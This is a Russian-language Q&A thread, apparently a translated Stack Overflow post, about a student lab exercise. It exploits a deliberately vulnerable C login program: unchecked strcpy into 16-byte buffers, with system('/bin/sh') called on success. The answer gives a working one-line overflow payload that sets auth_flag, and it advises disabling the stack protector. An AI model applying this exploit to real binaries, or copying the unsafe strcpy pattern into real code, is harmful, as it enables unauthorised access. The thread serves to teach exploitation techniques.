Как получить root-доступ с помощью атаки переполнения буфера?

#c #buffer

#c #буфер

Вопрос:

Как выполнить атаку переполнения буфера для этого, чтобы получить root-доступ. Я попытался найти адрес, но не получил много зацепок в этом. Я отключил ASLR, а также не использовал указатель стека во время компиляции. когда я ввожу более 16 байт, это приводит к ошибке сегментации в gdb:

 #include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif

int check_authentication(char *username, char *password) {

   int auth_flag = 0;
   char team_var[TEAM_VAR_SIZE];
   char username_buffer[16];
   char password_buffer[16];

   strcpy(username_buffer, username);
   strcpy(password_buffer, password);

   if(strcmp(username_buffer, "This doesn't matter") == 0 amp;amp; strcmp(password_buffer, "neither does this") == 0)
      auth_flag = 1;

   return auth_flag;

}

int main(int argc, char *argv[]) {

   if(argc < 3) {
      printf("Usage: %s <username> <password>n", argv[0]);
      exit(0);
   }

   if(TEAM_VAR_SIZE == 0) {
        printf("nPlease set the Team Var before moving forward with the lab.n");
    }

   if(check_authentication(argv[1], argv[2]) == 1) {
      printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
      printf("      Access Granted.n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-nn");
      system("/bin/sh");
   } else {
      printf("nAccess Denied.n");
   }

}
  

Комментарии:

1. Вы не можете получить root-доступ с помощью эксплойта, если не получите root для выполнения кода.

2. У двоичного файла @Barmar могут быть root-права благодаря setuid

3. @AnisLadram Верно, но для этого требуется root, чтобы присвоить ему setuid. В какой-то момент вам нужно заставить root что-то сделать для вас.

4. Вот почему большинство эксплойтов с повышением привилегий связаны с ошибками переполнения буфера в системных демонах, потому что они обычно запускаются от имени root.

5. @Barmar это правильно, но рассматривайте это как упражнение для студентов. Вероятно, это направлено на изучение методов эксплойтов 🙂

Ответ №1:

Вы можете переписать auth_flag , используя переполнение буфера, вызванное небезопасным strcpy(username_buffer, username) . к username_buffer длине (16) необходимо добавить 412 байт: 410 для team_var буфера и 2 для заполнения (наименьшее кратное sizeof(int) = 4 , большее или равное 410, равно 412).

 $ ./test "$(printf '%0*dx1' $((16   412)) 0)" "x"

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ 
  

Если вы столкнулись со следующей ошибкой:

 *** stack smashing detected ***: <unknown> terminated
  

затем вам нужно скомпилировать вашу программу, используя следующий флаг GCC: -fno-stack-protector . Canaries — это меры безопасности, предотвращающие переполнение буфера в стеке злоумышленниками. Он добавляет случайное значение в конец ваших буферов, чтобы пользователь не мог переписать обратный адрес и / или переменные в стеке.

Комментарии:

1. Что я должен ввести, если размер команды будет 440?

2. @Anonymous Я думаю, 440? поскольку 110 * 4 = 440. Не стесняйтесь играть с этим: попробуйте numbers, пока вам не будет предоставлен доступ (больше, если ничего не происходит, меньше, если он прерывается).

3. Спасибо, Анис, я сделал это. Я ценю вашу помощь